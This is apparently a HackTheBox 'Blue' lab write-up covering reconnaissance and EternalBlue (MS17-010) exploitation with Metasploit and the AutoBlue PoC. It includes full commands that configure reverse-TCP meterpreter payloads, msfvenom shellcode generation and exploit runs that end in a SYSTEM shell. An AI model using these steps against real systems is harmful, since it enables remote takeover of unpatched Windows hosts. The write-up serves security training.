HTB Blue

May 11, 2020 6-minute read

0x01 Introduction Link to heading

Blue is a easy HackTheBox machine, which teaches us what is EternalBlue and how to use this exploit made by NSA. It’s kinda the same as we are NSA haha There are at least two ways to root this box: using metasploit (automatic) and using EternalBlue PoC exploit (manual). I tried to do both. However, for the sake of clarity I used meterpreter for both ways, because it is just more convenient.

0x02 Tools Link to heading

nmap
searchsploit
metasploit
ms17-010

0x03 Recon and Enum Link to heading

nmap Link to heading

First things first, I strated to use zsh recently. Therefore, my nmap oneliner doesn’t work, I had to add some extra quotes for RegEx.

1ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.40 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -sC -sV -p$ports -oA blue 10.10.10.40

Well.. interestin ports are 135, 139, and 445. Let’s check some of them. We can also check if there are knowns smb vulnerabilities:

1nmap -sC -sV -p$ports --script=vuln -oA blue_vuln 10.10.10.40

Oh.. here we go.. it found critical CVE.

port 135 MS RPC Link to heading

We can use tool called enum4linux to enumerate the RPC port.

1enum4linux -a 10.10.10.40

Didn’t show anything useful. What about other ports?

SMB Link to heading

1smbclient -L \\\\10.10.10.40\\

1smbclient \\\\10.10.10.40\\ADMIN$

There was nothing inside of $IPC folder.

So far, nothing interesting. Actually, I don’t have access to anything. Let’s enumerate more.

rpcclient didn’t work either. And pretty much everything else also didn’t work:

searchsploit Link to heading

Let’s check the ms17-010 vuln that nmap discovred.

1searchsploit ms17-010

Ok, as predicted, it is indeed EternalBlue. I guess I have to use it. I’ll try to do both: metasploit and manual ways.

0x04 Exploitation Link to heading

EternalBlue Link to heading

EternalBlue is a cyberattack exploit developed by the U.S. National Security Agency (NSA). It was leaked by the Shadow Brokers hacker group on April 14, 2017, one month after Microsoft released patches for the vulnerability. On May 12, 2017, the worldwide WannaCry ransomware used this exploit to attack unpatched computers. On June 27, 2017, the exploit was again used to help carry out the 2017 NotPetya cyberattack on more unpatched computers.

So, it should be pretty solid exploit, huh? Let’s see what it can do.

metasploit Link to heading

 1msf5 > search ms17-010
 2
 3Matching Modules
 4================
 5
 6   #  Name                                           Disclosure Date  Rank     Check  Description
 7   -  ----                                           ---------------  ----     -----  -----------
 8   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
 9   1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
10   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
11   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
12   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
13   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
14
15
16msf5 > use 2
17msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
18
19Module options (exploit/windows/smb/ms17_010_eternalblue):
20
21   Name           Current Setting  Required  Description
22   ----           ---------------  --------  -----------
23   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
24   RPORT          445              yes       The target port (TCP)
25   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
26   SMBPass                         no        (Optional) The password for the specified username
27   SMBUser                         no        (Optional) The username to authenticate as
28   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
29   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.
30
31
32Exploit target:
33
34   Id  Name
35   --  ----
36   0   Windows 7 and Server 2008 R2 (x64) All Service Packs
37
38
39msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
40RHOSTS => 10.10.10.40
41msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads
42msf5 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
43PAYLOAD => windows/x64/meterpreter/reverse_tcp
44msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST tun0
45LHOST => 10.10.14.9
46msf5 exploit(windows/smb/ms17_010_eternalblue) > run

And… a few moments later it’s done :) we got shell as a system, so it’s easy to get user and root flags.

manual exploitation Link to heading

EternalBlue PoC Link to heading

Well using metasploit is always easy and straightforward. Let’s try to exploit this CVE manually.

Quick googling gave me this Git repo: 3ndG4me /AutoBlue-MS17-010.

Let’s clone the repo and try to use one of the scripts.

1git clone https://github.com/3ndG4me/AutoBlue-MS17-010

It also has checker. Let’s run it first:

1python eternal_checker.py 10.10.10.40

Good, we can use this exploit then. Let’s go to shellcode folder.

Here, we need to run two commands:

1cd shellcode
2./shell_prep.sh
3#eneter all the details and then the binary file will be created
4cd ..
5./listener_prep.sh
6#enter details again for listener
7#now it's ready to run

Generating shellcode:

 1                 _.-;;-._
 2          '-..-'|   ||   |
 3          '-..-'|_.-;;-._|
 4          '-..-'|   ||   |
 5          '-..-'|_.-''-._|   
 6Eternal Blue Windows Shellcode Compiler
 7
 8Let's compile them windoos shellcodezzz
 9
10Compiling x64 kernel shellcode
11Compiling x86 kernel shellcode
12kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
13y
14LHOST for reverse connection:
1510.10.14.9
16LPORT you want x64 to listen on:
174444
18LPORT you want x86 to listen on:
194445
20Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
210
22Type 0 to generate a staged payload or 1 to generate a stageless payload
230
24Generating x64 meterpreter shell (staged)...
25
26msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.14.9 LPORT=4444
27[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
28[-] No arch selected, selecting arch: x64 from the payload
29No encoder or badchars specified, outputting raw payload
30Payload size: 511 bytes
31Saved as: sc_x64_msf.bin
32
33Generating x86 meterpreter shell (staged)...
34
35msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.14.9 LPORT=4445
36[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
37[-] No arch selected, selecting arch: x86 from the payload
38No encoder or badchars specified, outputting raw payload
39Payload size: 362 bytes
40Saved as: sc_x86_msf.bin
41
42MERGING SHELLCODE WOOOO!!!
43DONE

Listener_prep:

So, it generated metasploit handler.

exploitation Link to heading

let’s now try to run the script and see if it works:

1python eternalblue_exploit7.py 10.10.10.40 shellcode/sc_all.bin

It worked

Looks like we got a session:

Let’s typ sessions and see..

 1msf5 exploit(multi/handler) > sessions
 2
 3Active sessions
 4===============
 5
 6  Id  Name  Type                     Information                     Connection
 7  --  ----  ----                     -----------                     ----------
 8  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ HARIS-PC  10.10.14.9:4444 -> 10.10.10.40:49159 (10.10.10.40)
 9
10msf5 exploit(multi/handler) > sessions 1
11[*] Starting interaction with 1...
12
13meterpreter > getuid
14Server username: NT AUTHORITY\SYSTEM

We goot shell as a system manually. :)